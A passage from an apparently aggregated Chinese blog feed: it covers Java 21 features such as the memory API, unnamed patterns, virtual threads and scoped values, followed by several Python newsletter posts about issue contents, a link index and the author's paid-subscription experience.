Arena.ofConfined() 表示定义一块受限区域,只有一个线程可以访问在受限区域中分配的内存段。除此之外,我们还可以定义其他类型的区域:

  • Arena.global() - 全局区域,分配的区域永远不会释放,随时可以访问;
  • Arena.ofAuto() - 自动区域,由垃圾收集器自动检测并释放;
  • Arena.ofShared() - 共享区域,可以被多个线程同时访问;

Arena 接口的设计经过了多次调整,在最初的版本中被称为 ResourceScope,后来改成 MemorySession,再后来又拆成了 ArenaSegmentScope 两个类,现在基本上稳定使用 Arena 就可以了。

Arena 接口,内存 API 还包括了下面这些接口,主要可以分为两大类:

  • ArenaMemorySegmentSegmentAllocator - 这几个接口用于控制外部内存的分配和释放
  • MemoryLayoutVarHandle - 这几个接口用于操作和访问结构化的外部内存

内存 API 试图简化 Java 代码操作堆外内存的难度,通过它可以实现更高效的内存访问方式,同时可以保障一定的安全性,特别适用于下面这些场景:

  • 大规模数据处理:在处理大规模数据集时,内存 API 的直接内存访问能力将显著提高程序的执行效率;
  • 高性能计算:对于需要频繁进行数值计算的任务,内存 API 可以减少对象访问的开销,从而实现更高的计算性能;
  • 与本地代码交互:内存 API 的使用可以使得 Java 代码更方便地与本地代码进行交互,结合外部函数接口,可以实现更灵活的数据传输和处理。

相信等内存 API 正式发布之后,之前使用 ByteBufferUnsafe 的很多类库估计都会考虑切换成使用内存 API 来获取性能的提升。

未命名模式和变量(预览版本)

未命名模式和变量也是一个预览特性,其主要目的是为了提高代码的可读性和可维护性。

在 Java 代码中,我们偶尔会遇到一些不需要使用的变量,比如下面这个例子中的异常 e

try { 
    int i = Integer.parseInt(s);
    System.out.println("Good number: " + i);
} catch (NumberFormatException e) { 
    System.out.println("Bad number: " + s);
}

这时我们就可以使用这个特性,使用下划线 _ 来表示不需要使用的变量:

try { 
    int i = Integer.parseInt(s);
    System.out.println("Good number: " + i);
} catch (NumberFormatException _) { 
    System.out.println("Bad number: " + s);
}

上面这个这被称为 未命名变量(Unnamed Variables)

顾名思义,未命名模式和变量包含两个方面:未命名模式(Unnamed Patterns)未命名变量(Unnamed Variables)

未命名模式(Unnamed Patterns)

上一篇笔记 中,我们学习了什么是 记录模式(Record Pattern) 以及 instanceofswitch 两种模式匹配。未命名模式允许在模式匹配中省略掉记录组件的类型和名称。下面的代码展示了如何在 instanceof 模式匹配中使用未命名模式这个特性:

if (obj instanceof Person(String name, _)) {
    System.out.println("Name: " + name);
}

其中 Person 记录的第二个参数 Integer age 在后续的代码中没用到,于是用下划线 _ 把类型和名称都代替掉。我们也可以只代替 age 名称,这被称为 未命名模式变量(Unnamed Pattern Variables)

if (obj instanceof Person(String name, Integer _)) {
    System.out.println("Name: " + name);
}

这个特性也可以在 switch 模式匹配中使用:

switch (b) {
    case Box(RedBall _), Box(BlueBall _) -> processBox(b);
    case Box(GreenBall _)                -> stopProcessing();
    case Box(_)                          -> pickAnotherBox();
}

这里前两个 case 是未命名模式变量,最后一个 case 是未命名模式。

未命名变量(Unnamed Variables)

未命名变量的使用场景更加丰富,除了上面在 catch 子句中使用的例子外,下面列举了一些其他的典型场景。

for 循环中使用:

int acc = 0;
for (Order _ : orders) {
    if (acc < LIMIT) { 
        ... acc++ ...
    }
}

在赋值语句中使用:

Queue<Integer> q = ... // x1, y1, z1, x2, y2, z2, ...
while (q.size() >= 3) {
   var x = q.remove();
   var y = q.remove();
   var _ = q.remove();
   ... new Point(x, y) ...
}

try-with-resource 语句中使用:

try (var _ = ScopedContext.acquire()) {
  // No use of acquired resource
}

在 lambda 表达式中使用:

stream.collect(
    Collectors.toMap(String::toUpperCase, _ -> "NODATA")
)

虚拟线程

虚拟线程(Virtual Thread) 是 Java 21 中最突出的特性之一,作为 Loom 项目的一部分,开发人员对这个特性可谓期待已久。它由预览特性变成正式特性经历了两个版本的迭代,第一次预览是 Java 19 的 JEP 425 ,第二次预览是 Java 20 的 JEP 436,在 Java 21 中虚拟线程特性正式发布。

虚拟线程 vs. 平台线程

在引入虚拟线程之前,我们常使用 java.lang.Thread 来创建 Java 线程,这个线程被称为 平台线程(Platform Thread),它和操作系统的内核线程是一对一的关系,由内核线程调度器负责调度。

platform-threads.png

为了提高应用程序的性能和系统的吞吐量,我们将添加越来越多的 Java 线程,下面是一个模拟多线程的例子,我们创建 10 万个线程,每个线程模拟 I/O 操作等待 1 秒钟:

private static void testThread() {
    long l = System.currentTimeMillis();
    try(var executor = Executors.newCachedThreadPool()) {
        IntStream.range(0, 100000).forEach(i -> {
            executor.submit(() -> {
                Thread.sleep(Duration.ofSeconds(1));
                // System.out.println(i);
                return i;
            });
        });
    }
    System.out.printf("elapsed time:%d ms", System.currentTimeMillis() - l);
}

这里的 10 万个线程对应着 10 万个内核线程,这种通过大量的线程来提高系统性能是不现实的,因为内核线程成本高昂,不仅会占用大量资源来处理上下文切换,而且可用数量也很受限,一个线程大约消耗 1M~2M 的内存,当系统资源不足时就会报错:

$ java ThreadDemo.java
Exception in thread "pool-2-thread-427" java.lang.OutOfMemoryError: Java heap space
        at java.base/java.util.concurrent.SynchronousQueue$TransferStack.snode(SynchronousQueue.java:328)
        at java.base/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:371)
        at java.base/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903)
        at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069)
        at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
        at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
        at java.base/java.lang.Thread.runWith(Thread.java:1596)
        at java.base/java.lang.Thread.run(Thread.java:1583)

于是人们又发明了各种线程池技术,最大程度地提高线程的复用性。下面我们使用一个固定大小为 200 的线程池来解决线程过多时报错的问题:

private static void testThreadPool() {
    long l = System.currentTimeMillis();
    try(var executor = Executors.newFixedThreadPool(200)) {
        IntStream.range(0, 100000).forEach(i -> {
            executor.submit(() -> {
                Thread.sleep(Duration.ofSeconds(1));
                // System.out.println(i);
                return i;
            });
        });
    }
    System.out.printf("elapsed time:%d ms", System.currentTimeMillis() - l);
}

在使用固定大小的线程池后,不会出现创建大量线程导致报错的问题,任务可以正常完成。但是这里的线程池却成了我们应用程序最大的性能瓶颈,程序运行花费了 50 秒的时间:

$ java ThreadDemo.java
elapsed time:50863 ms

按理说每个线程耗时 1 秒,无论是多少个线程并发,总耗时应该都是 1 秒,很显然这里并没有发挥出硬件应有的性能。

为了充分利用硬件,研究人员转而采用线程共享的方式,它的核心想法是这样的:我们并不需要在一个线程上从头到尾地处理一个请求,当执行到等待 I/O 操作时,可以将这个请求缓存到池中,以便线程可以处理其他请求,当 I/O 操作结束后会收到一个回调通知,再将请求从池中取出继续处理。这种细粒度的线程共享允许在高并发操作时不消耗大量线程,从而消除内核线程稀缺而导致的性能瓶颈。

这种方式使用了一种被称为 异步编程(Asynchronous Programming) 的风格,通过所谓的 响应式框架(Reactive Frameworks) 来实现,比如著名的 Reactor 项目一直致力于通过响应式编程来提高 Java 性能。但是这种风格的代码难以理解、难以调试、难以使用,普通开发人员只能对其敬而远之,只有高阶开发人员才能玩得转,所以并没有得到普及。

所以 Java 一直在寻找一种既能有异步编程的性能,又能编写起来简单的方案,最终虚拟线程诞生。

虚拟线程由 Loom 项目提出,最初被称为 纤程(Fibers),类似于 协程(Coroutine) 的概念,它由 JVM 而不是操作系统进行调度,可以让大量的虚拟线程在较少数量的平台线程上运行。我们将上面的代码改成虚拟线程非常简单,只需要将 Executors.newFixedThreadPool(200) 改成 Executors.newVirtualThreadPerTaskExecutor() 即可:

private static void testVirtualThread() {
    long l = System.currentTimeMillis();
    try(var executor = Executors.newVirtualThreadPerTaskExecutor()) {
        IntStream.range(0, 100000).forEach(i -> {
            executor.submit(() -> {
                Thread.sleep(Duration.ofSeconds(1));
                // System.out.println(i);
                return i;
            });
        });
    }
    System.out.printf("elapsed time:%d ms", System.currentTimeMillis() - l);
}

运行结果显示,虚拟线程使得程序的性能得到了非常显著的提升,10 万个线程全部运行只花费 1 秒多的时间:

$ java ThreadDemo.java
elapsed time:1592 ms

虚拟线程的数量可以远大于平台线程的数量,多个虚拟线程将由 JVM 调度在某个平台线程上执行,一个平台线程可以在不同的时间执行不同的虚拟线程,当虚拟线程被阻塞或等待时,平台线程可以切换到另一个虚拟线程执行。

虚拟线程、平台线程和系统内核线程的关系图如下所示:

virtual-threads.png

值得注意的是,虚拟线程适用于 I/O 密集型任务,不适用于计算密集型任务,因为计算密集型任务始终需要 CPU 资源作为支持。如果测试程序中的任务不是等待 1 秒钟,而是执行一秒钟的计算(比如对一个巨大的数组进行排序),那么程序不会有明显的性能提升。因为虚拟线程不是更快的线程,它们运行代码的速度与平台线程相比并无优势。虚拟线程的存在是为了提供更高的吞吐量,而不是速度(更低的延迟)。

创建虚拟线程

为了降低虚拟线程的使用门槛,官方尽力复用原有的 java.lang.Thread 线程类,让我们的代码可以平滑地过渡到虚拟线程的使用。下面列举几种创建虚拟线程的方式:

  1. 通过 Thread.startVirtualThread() 创建
Thread.startVirtualThread(() -> {
    System.out.println("Hello");
});
  1. 使用 Thread.ofVirtual() 创建
Thread.ofVirtual().start(() -> {
    System.out.println("Hello");
});

上面的代码通过 start() 直接启动虚拟线程,也可以通过 unstarted() 创建一个未启动的虚拟线程,再在合适的时机启动:

Thread thread = Thread.ofVirtual().unstarted(() -> {
    System.out.println("Hello");
});
thread.start();

Thread.ofVirtual() 对应的是 Thread.ofPlatform(),用于创建平台线程。

  1. 通过 ThreadFactory 创建
ThreadFactory factory = Thread.ofVirtual().factory();
Thread thread = factory.newThread(() -> {
    System.out.println("Hello");
});
thread.start();
  1. 通过 Executors.newVirtualThreadPerTaskExecutor() 创建
try(var executor = Executors.newVirtualThreadPerTaskExecutor()) {
    executor.submit(() -> {
        System.out.println("Hello");
    });
}

这种方式和传统的创建线程池非常相似,只需要改一行代码就可以把之前的线程池切换到虚拟线程。

很有意思的一点是,这里我们并没有指定虚拟线程的数量,这是因为虚拟线程非常廉价非常轻量,使用后立即就被销毁了,所以根本不需要被重用或池化。

正是由于虚拟线程非常轻量,我们可以在单个平台线程中创建成百上千个虚拟线程,它们通过暂停和恢复来实现线程之间的切换,避免了上下文切换的额外耗费,兼顾了多线程的优点,简化了高并发程序的复杂,可以有效减少编写、维护和观察高吞吐量并发应用程序的工作量。

调试虚拟线程

JDK 长期以来一直提供调试、分析和监控线程的机制,这些机制对于故障排查、维护和优化是必不可少的,JDK 提供了很多工具来实现这点,这些工具现在对虚拟线程也提供了同样的支持。

比如 jstackjcmd 是流行的线程转储工具,它们可以打印出应用程序的所有线程,这种扁平的列表结构对于几十或几百个平台线程来说还可以,但对于成千上万的虚拟线程来说已经不适合了,于是在 jcmd 中引入了一种新的线程转储方式,以 JSON 格式将虚拟线程与平台线程一起打印:

$ jcmd <pid> Thread.dump_to_file -format=json <file>

以下是这样的线程转储的示例:

virtual-threads-dump.png

未命名类和实例 Main 方法(预览版本)

相信所有学过 Java 的人对下面这几行代码都非常熟悉吧:

public class Hello {
    public static void main(String[] args) {
        System.out.println("Hello");
    }
}

通常我们初学 Java 的时候,都会写出类似这样的 Hello World 程序,不过作为初学者的入门示例,这段代码相比其他语言来说显得过于臃肿了,给初学者的感觉就是 Java 太复杂了,因为这里掺杂了太多只有在开发大型应用的时候才会涉及到的概念:

  • 首先 public class Hello 这行代码涉及了类的声明和访问修饰符,这些概念可以用于数据隐藏、重用、访问控制、模块化等,在大型复杂应用程序中很有用;但是对于一个初学者,往往是从变量、控制流和子程序的基本编程概念开始学习的,在这个小例子中,它们毫无意义;
  • 其次,main() 函数的 String[] args 这个参数主要用于接收从命令行传入的参数,但是对于一个初学者来说,在这里它显得非常神秘,因为它在代码中从未被使用过;
  • 最后,main() 函数前面的 static 修饰符是 Java 类和对象模型的一部分,这个概念这对初学者也很不友好,甚至是有害的,因为如果要在代码中添加一个新的方法或字段时,为了访问它们,我们必须将它们全部声明成 static 的,这是一种既不常见也不是好习惯的用法,要么就要学习如何实例化对象。

为了让初学者可以快速上手,Java 21 引入了未命名类和实例 Main 方法这个特性,这个特性包含两个部分:

  1. 增强了 Java 程序的 启动协议(the launch protocol),使得 main 方法可以没有访问修饰符、没有 static 修饰符和没有 String[] 参数:
class Hello { 
    void main() { 
        System.out.println("Hello");
    }
}

这样的 main 方法被称为 实例 Main 方法(instance main methods)

  1. 实现了 未命名类(unnamed class) 特性,使我们可以不用声明类,进一步简化上面的代码:
void main() {
    System.out.println("Hello");
}

在 Java 语言中,每个类都位于一个包中,每个包都位于一个模块中。而一个未命名的类位于未命名的包中,未命名的包位于未命名的模块中。

作用域值(预览版本)

作用域值(Scoped Values)Loom 项目提出的另一个重要特性,它提供了一种隐式方法参数的形式,允许在大型程序的各个部分之间安全地共享数据,而无需将它们作为显式参数添加到调用链中的每个方法中。作用域值通常是作为一个公共静态字段,因此可以从任何方法中访问到。如果多个线程使用相同的作用域值,则从每个线程的角度来看,它可能包含不同的值。

如果您熟悉 线程本地变量(thread-local variables),这听起来会很熟悉,事实上,作用域值正是为了解决使用线程本地变量时可能遇到的一些问题,在某些情况下可以将其作为线程本地变量的现代替代品。

一个例子

在 Web 应用开发中,一个经典的场景是获取当前已登录的用户信息,下面的代码模拟了大概的流程:

public class UserDemo {
    
    public static void main(String[] args) {

        // 从 request 中获取用户信息
        String userId = getUserFromRequest();
        
        // 查询用户详情
        String userInfo = new UserService().getUserInfo(userId);
        System.out.println(userInfo);
    }

    private static String getUserFromRequest() {
        return "admin";
    }

    static class UserService {
        public String getUserInfo(String userId) {
            return new UserRepository().getUserInfo(userId);
        }
    }

    static class UserRepository {
        public String getUserInfo(String userId) {
            return String.format("%s:%s", userId, userId);
        }
    }
}

在接收到请求时,首先对用户进行身份验证,然后得到用户信息,这个信息可能被很多地方使用。在这里我们使用方法参数将用户信息传递到其他要使用的地方,可以看到,userId 参数从 UserDemo 传到 UserService 又传到 UserRepository

在一个复杂的应用程序中,请求的处理可能会延伸到数百个方法,这时,我们需要为每一个方法添加 userId 参数,将用户传递到最底层需要用户信息的方法中。很显然,额外的 userId 参数会使我们的代码很快变得混乱,因为大多数方法不需要用户信息,甚至可能有一些方法出于安全原因根本不应该能够访问用户。如果在调用堆栈的某个深处我们还需要用户的 IP 地址怎么办?那么我们将不得不再添加一个 ip 参数,然后通过无数的方法传递它。

使用 ThreadLocal 线程本地变量

解决这一问题的传统方法是使用 ThreadLocal,它是线程本地变量,只要线程不销毁,我们随时可以获取 ThreadLocal 中的变量值。

public class UserDemoThreadLocal {
    
    private final static ThreadLocal<String> USER = new ThreadLocal<>();
    
    public static void main(String[] args) {
        
        // 从 request 中获取用户信息
        String userId = getUserFromRequest();
        USER.set(userId);

        // 查询用户详情
        String userInfo = new UserService().getUserInfo();
        System.out.println(userInfo);
    }

    private static String getUserFromRequest() {
        return "admin";
    }

    static class UserService {
        public String getUserInfo() {
            return new UserRepository().getUserInfo();
        }
    }

    static class UserRepository {
        public String getUserInfo() {
            String userId = USER.get();
            return String.format("%s:%s", userId, userId);
        }
    }
}

这里我们定义了一个名为 USERThreadLocal 全局变量,获取完用户信息之后将其存入 USER 中,然后在 UserRepository 中直接从 USER 中获取。尽管看起来像普通变量,但线程本地变量的特点是每个线程都有一个独立实例,它的值取决于哪个线程调用其 getset 方法来读取或写入其值。使用线程本地变量,可以方便地在调用堆栈上的方法之间共享数据,而无需使用方法参数。

注意,ThreadLocal 只能在单个线程中共享数据,如果内部方法中创建了新线程,我们可以使用 InheritableThreadLocal,它是 ThreadLocal 的子类,主要用于子线程创建时自动继承父线程的 ThreadLocal 变量,方便必要信息的进一步传递。

使用 ScopedValue 作用域值

不幸的是,线程本地变量存在许多设计缺陷,无法避免:

  • 不受限制的可变性(Unconstrained mutability) - 线程本地变量都是可变的,它的值可以随意被更改,任何能够调用线程本地变量的 get 方法的代码都可以随时调用该变量的 set 方法;但是往往更常见的需求是从一个方法向其他方法简单的单向数据传输,就像上面的示例一样;对线程本地变量的任意修改可能导致类似意大利面条的数据流以及难以察觉的错误;
  • 无限寿命(Unbounded lifetime) - 一旦线程本地变量通过 set 方法设值,这个值将在线程的整个生命周期中被保留,直到调用 remove 方法,不幸的是,开发人员经常忘记调用 remove 方法;如果使用了线程池,如果没有正确清除线程本地变量,可能会将一个线程的变量意外地泄漏到另一个不相关的线程中,导致潜在地安全漏洞;此外,忘记清理线程局部变量还可能导致内存泄露;
  • 昂贵的继承(Expensive inheritance) - 当使用大量线程时,我们通常会使用 InheritableThreadLocal 让子线程自动继承父线程的线程本地变量,子线程无法共享父线程使用的存储空间,这会显著增加程序的内存占用;特别是在虚拟线程推出之后,这个问题变得更为显著,因为虚拟线程足够廉价,程序中可能会创建成千上万的虚拟线程,如果一百万个虚拟线程中的每一个都有自己的线程局部变量副本,很快就会出现内存不足的问题。

作用域值(Scoped Values) 就是为解决这些问题而诞生的新概念。

  • 首先,作用域值是不可变的,它的值无法更改,单向的数据传输使得代码流程更清晰;
  • 另外,作用域值只在有限范围内使用,用完立即释放,不存在忘记清理的问题,所以也不会导致内存泄露;
  • 最后,作用域值更轻量,由于它是不可变的,所以父线程和子线程可以复用一个实例,再多的虚拟线程也不会有内存不足的问题。

下面用 ScopedValue 对上面的代码进行重写:

public class UserDemoScopedValue {
    
    final static ScopedValue<String> USER = ScopedValue.newInstance();

    public static void main(String[] args) {
        // 从 request 中获取用户信息
        String userId = getUserFromRequest();
        ScopedValue.where(USER, userId)
            .run(() -> {
                // 查询用户详情
                String userInfo = new UserService().getUserInfo();
                System.out.println(userInfo);
            });
    }

    private static String getUserFromRequest() {
        return "admin";
    }

    static class UserService {
        public String getUserInfo() {
            return new UserRepository().getUserInfo();
        }
    }

    static class UserRepository {
        public String getUserInfo() {
            String userId = USER.get();
            return String.format("%s:%s", userId, userId);
        }
    }
}

我们首先调用 ScopedValue.where(USER, userId),它用于将作用域值和某个对象进行绑定,然后调用 run() 方法,它接受一个 lambda 表达式,从该表达式直接或间接调用的任何方法都可以通过 get() 方法读取作用域值。

作用域值仅在 run() 调用的生命周期内有效,在 run() 方法完成后,绑定将被销毁。这种有界的生命周期,使得数据从调用方传输到被调用方(直接和间接)的单向传输一目了然。

作用域值的重绑定

上面说过,作用域值是不可变的,没有任何方法可以更改作用域值,但是我们可以重新绑定作用域值:

private static final ScopedValue<String> X = ScopedValue.newInstance();

void foo() {
    ScopedValue.where(X, "hello").run(() -> bar());
}

void bar() {
    System.out.println(X.get()); // prints hello
    ScopedValue.where(X, "goodbye").run(() -> baz());
    System.out.println(X.get()); // prints hello
}

void baz() {
    System.out.println(X.get()); // prints goodbye
}

在这个例子中,foo() 方法将作用域值 X 绑定为 hello,所以在 bar() 方法中使用 X.get() 获得的是 hello;但是接下来,我们重新将 X 绑定为 goodbye,再去调用 baz() 方法,这时在 baz() 方法中使用 X.get() 得到的就是 goodbye 了;不过值得注意的是,当 baz() 方法结束后,重新回到 bar() 方法,使用 X.get() 获得的仍然是 hello,说明作用域值并没有被修改。

作用域值的线程继承

在使用 ThreadLocal 的时候,我们通常会使用 InheritableThreadLocal 让子线程自动继承父线程的线程本地变量,那么作用域值如何实现线程继承呢?可惜的是,并不存在 InheritableScopedValue 这样的类,Java 21 提供了另一种解决方案:结构化并发 API(JEP 428)

StructuredTaskScope 是结构化并发中的核心类,它的使用方法如下:

try (var scope = new StructuredTaskScope.ShutdownOnFailure()) {
    Supplier<String> user = scope.fork(() -> USER.get());
    scope.join().throwIfFailed();
    System.out.println("task scope: " + user.get());
} catch (Exception ex) {
}

其中 scope.fork() 方法用于创建子线程,父线程中的作用域值会自动被 StructuredTaskScope 创建的子线程继承,子线程中的代码可以使用父线程中为作用域值建立的绑定,而几乎没有额外开销。与线程局部变量不同,父线程的作用域值绑定不会被复制到子线程中,因此它的性能更高,也不会消耗过多的内存。

子线程的作用域值绑定的生命周期由 StructuredTaskScope 提供的 fork/join 模型控制,scope.join() 等待子线程结束,当线程结束后绑定就会自动销毁,避免了使用线程本地变量时出现无限生命周期的问题。

结构化并发也是 Java 21 中的一项重要特性,我们将在下一篇笔记中继续学习它的知识。

参考

更多

JDK Projects

  • Project Panama - Interconnecting JVM and native code
  • Project Amber - Explore and incubate smaller, productivity-oriented Java language features
  • Project Loom - Supporting easy-to-use, high-throughput lightweight concurrency and new programming models on the Java platform.
扫描二维码,在手机上阅读!

by aneasystone at July 22, 2024 11:34 PM

July 20, 2024

pythoncat

Python 潮流周刊#61:PyPI 管理员密钥泄露事件

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,12 个开源项目,2 则音视频,2 则热门话题,全文 2400 字。
以下是本期摘要:
① 二进制密钥扫描帮我们防止了(可能是)你能想象到的最严重的供应链攻击
② 事件报告:泄露的 GitHub 个人访问密钥
③ 【网络安全】「漏洞复现」(六)探索 Python 中原型链的利用与污染
④ 自由线程 CPython 已准备好用作实验!
⑤ Python 性能分析的几个方法,找到你代码中的那个她
⑥ 用 Python 和 Flask 中开发简单的 Pastebin 服务
⑦ Debug 日志:CPython GH-121528
⑧ 分享一件有趣的事情,我帮 CPython 修复了一个 bug
⑨ 装饰器如何使我的 Flask 代码崩溃:经验教训
⑩ 2024 年,良好的 Python 项目结构是怎样的?
⑪ 如何用 PyTorch 从零开发和训练自己的 GPT-2?
⑫ 万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!
① exo:在家庭日常设备中运行自建的 AI 集群
② kaskade:Kafka 的 TUI 应用,在终端中管理和消费 topic
③ G-Scraper:完全用 Python 开发的 GUI 网络爬虫
④ source2RSS:将信息源转 RSS 的 Python 框架
⑤ mandala:简单而优雅的代码追踪框架
⑥ jurigged:Python 的热重载
⑦ wenet:端到端语音识别工具包
⑧ mem0:人性化 AI 的内存层
⑨ MinerU:一站式数据提取工具,支持 PDF/网页/多格式电子书
⑩ promptdoc:管理多版本、场景和模型的提示词模板
⑪ disposable-email-domains:一次性的电子邮件域名列表
⑫ fastembed:轻量级的 Python 库,实现最先进的嵌入
① SE Radio 624:与 Marcelo Trylesinski 谈 FastAPI
② The Python Show Python 42:Harlequin 终端里的 SQL IDE
① 我是 Python 后端开发,如何创建一个现代且高性能的前端?
② 2024 年 Python 实现定时任务和延时任务,性价比较高的方案是什么?

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 61 期周刊的全文
PS.本周刊前30期的合集永久免费,已集结出了精美电子书(EPUB/PDF),请从该合集文章开头获取下载链接。
另外,付费期数将在其 50 期后免费开放,例如第 61 期将在第 111 期时免费,敬请留意。

July 20, 2024 12:00 AM

July 17, 2024

pythoncat

万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!

你好,我是豌豆花下猫。前几天,我重新整理了 Python 潮流周刊的往期分享,推出了第 1 季的图文版电子书,受到了很多读者的一致好评。
但是,合集和电子书的篇幅很长,阅读起来要花不少时间。所以,为了方便大家阅读,我打算将合集进一步整理,分门别类将原始内容的标题罗列出来。
本文总计约 800 个链接,有 5 大分类,你可以快速浏览文章、项目、播客、视频和话题讨论的标题,快速找到自己感兴趣的内容进行查看。

Python 周刊的精美电子书 EPUB、PDF 及 Markdown 版本,请在公zh号“Python猫”里发送“W30”,获取免费下载链接

🦄文章&教程

精选国内外的优质文章,主要来自于个人博客、技术平台、企业网站等。
30、关于 PyPI 的一系列新闻/文章(共7篇
41、原推荐文章为拼凑且非原创,已删
60、内容删除
66、AsyncIO

🐿️项目&资源

主要是 Github 上的开源项目、开源电子书、有趣的网站项目等。
29、pystack

🐢播客&视频

Python 相关的音视频内容,但不限于 Python,有不少是视频清单/专辑。
51、《Boost your Git DX》作者的两期播客:Real Python Podcast #179Pybites #139

🥂讨论&问题

主要分享 Python论坛、Hacker News、Reddit、V2EX、知乎、Twitter 等平台的讨论帖。

附录

Python潮流周刊分享的内容后经常有相关联的附录,这里将它们单独整理成一节。
最近,我重新整理了 Python 潮流周刊的前 30 期,精华内容超过 6.2 万字,制作成了精美电子书(含 EPUB 及 PDF 版本),免费开放,请在公zh号“Python猫”里发送“W30”,获取下载链接。
本文是该电子书精华合集的浓缩版,按照分类聚合了周刊中所有内容的标题和链接,主要目的是方便读者快速索引查找。如果你对原始周刊感兴趣,想看看周刊中是如何概括和推荐这些内容的,可下载电子书进行了解。
另外,周刊第 2 季已完结,也编辑出了电子书,目前仅作为付费专栏的权益,如果你对第 2 季合集和电子书感兴趣,请查看这篇专栏介绍:周刊是聪明人筛选优质知识的聪明手段!
人生苦短,我用 Python。知识无穷,我看周刊。

July 17, 2024 12:00 AM

July 14, 2024

pythoncat

Python 潮流周刊第 2 季完结了,分享几项总结

我订阅了很多的周刊/Newsletter,但是发现它们都有一个共同的毛病:就是缺乏对往期内容的整理,它们很少会对内容数据作统计分析,更没有将内容整理成合集的习惯。
在自己开始连载周刊后,我就想别开生面,除了每周更新正刊外,还计划定期做一些盘点。我认为过往周刊值得被串联起来,形成合集后,既方便大家阅读检索,在这个 AI 时代,还能作为知识库的资料,能挖掘出更多有价值的信息。
Python 潮流周刊每 30 期作为一季,预计有 60,000 字以上。在第 1 季完结时,我整理成了合集,并制作成 PDF 版本的电子书,还写了一篇总结分享
现在,第 2 季已完结,我准备延续这个做法,继续做一些总结分享。
首先,分享一些数据吧。第 2 季从 2023.12.16 到 2024.07.16 正好 210 天,跟第 1 季的时长一样,精华部分总字数约 6 万,与第一季相差不大。
本季周刊共分享了:
  • 文章/教程:354 篇
  • 项目/资源:347 个
  • 播客/视频:28 则(有不少是视频列表)
  • 热门讨论:2 个
  • 赠书:93 本
相比第 1 季,文章数、音视频数和热门讨论都有所下降,开源项目数略有增长,赠书数则是前一季的 18.6 倍!
从上面的柱状图来看,每期分享的内容数相差不是很大。第 55 期是特殊加更,分享的是 9 个周刊类信息源。
从上面的饼图来看,文章和项目这两大类基本持平,加起来的比重有 85%。音视频和热门讨论的比重相比前一季少了很多,主要是因为我最近很少花时间去接触这些内容。下一季,争取把这两类内容的数量增加起来。
上一季时,我统计了公众号的阅读量、点赞和在看数。这一季由于后半段转为了付费专栏,在公众号等平台只是发布标题摘要,导致阅读量断崖式下跌,统计阅读量就没有太大意义了。
截止本文写作时,周刊的小报童专栏订阅数是 221 人,爱发电专栏订阅数是 7 人。目前的年费是 128 元,计划是每满 100 期时涨价一次。
国内读者的知识付费意愿普遍较低,在程序员群体身上更是明显。很感谢这些订阅周刊的朋友,你们的认可给了我极大的鼓励,既带给我一份副业收入的喜悦,同时也强化了我持续履约更新优质内容的责任。
前几天在写周刊第 60 期时,我半开玩笑地跟老婆说,每个月总有那么几天不想写周刊。其实,这是真的,很多时候我会心里自我挣扎一下,想拖延或者是罢工一会。
这跟周刊紧密的更新周期有关。我们周刊基本是在周六发布,然后在周日我常常有一种被掏空感,只想陷在动漫和短视频里;到了周一至周三上午,我基本不会看 Feedly 里那些 Python 信息源,都留在周三下午到周五下午的碎片时间阅读;周五晚上到周六,则是集中的整理、发布和宣传。周而复始。
非亲身经历的人也许无法体会这项任务对意志力的考验,更别说时不时的周末加班或者要出趟远门的情况对时间的挤压。虽然持续了一年多,我已经越来越得心应手,但时不时还是想偷懒一下,想给自己放松一下。
有几次晚上,我坐在客厅的餐桌前心神不定,听见房间里不到 2 岁的小孩还闹着不想睡,我干脆停下来,进去给他讲即兴的睡前故事,半小时或者一个小时。我把这当做一种放松了,殊不知,我老婆每天要在小孩身上花太多时间,能安静坐在客厅做自己的事情,其实是一项她非常羡慕的特权。
我不想抱怨什么,消极的情绪并非常态,更多时候,我其实是打了鸡血一般投身其中。毕竟,我善于给自己做的事赋予价值感,善于抚平情绪的波澜,善于表现出一副很有毅力的模样。
在本季周刊第 50 期正式转为付费专栏的时候,我在 V2EX 看到过极其刺眼的留言,有一则骂我是“蛀虫”的。当时真的很想喷回去,加倍回击!但我几番心理斗争后还是忍住了,眼不见为净,不跟狭隘有偏见的人交流才是明智之举。
免费的内容转收费了,就让一些人觉得自己利益受损了,怀有这种心态的人还是尽早远离为好。最近,@古明地觉 似乎是受我启发而出了付费 128 的《Python3.12 源码剖析》专栏,于是被一个人追骂“垃圾”,古兄的回复毫无止骂效果,最后写了一篇《带大家感受一下物种的多样性》。我的经验是,第一回合就屏蔽/忽视这种人,多说无益。
所以,我对那些表达出尊重和善意的留言,十分珍惜而感激。
记得在 Python猫发布《周刊是聪明人筛选优质知识的聪明手段!》后,短短几分钟就收到 10 几条支持鼓励的留言,没几天,订阅数也迎来暴涨,这更坚定了我要做付费专栏的信心!
小报童里也收到过不少留言,以下是最近比较打动我的两则:
除了国内的平台,我还积极扩展海外的渠道,例如 Twitter 和 Telegram,很高兴也收到过一些支持鼓励的话。
以上是一位来自宝岛台湾的 Twitter 网友,他在周刊发布前几期时就给过我一笔美元赞赏,所以我想回馈他一份年度订阅,最后收到的是这么暖心的答复。
在拓展周刊的宣传渠道时,我有幸成为中文圈里氛围最好的 Newlearnerの自留地频道的一名编辑,为周刊获得了大量关注。在转付费后,我自觉要痛失一大阵地了,没想到频道主@Newlearner365 竟十分支持知识变现:
在开始时,当然也有一些质疑的声音,但后来,更多的是点赞支持。
我们有一个与周刊同名的作为副刊的频道,里面有不少身居海外的朋友,不方便使用微信。因此,我特意开通了爱发电主页 ,本想着就照顾一下最多 3 位读者吧,没想到如今已经有 7 位订阅者了。
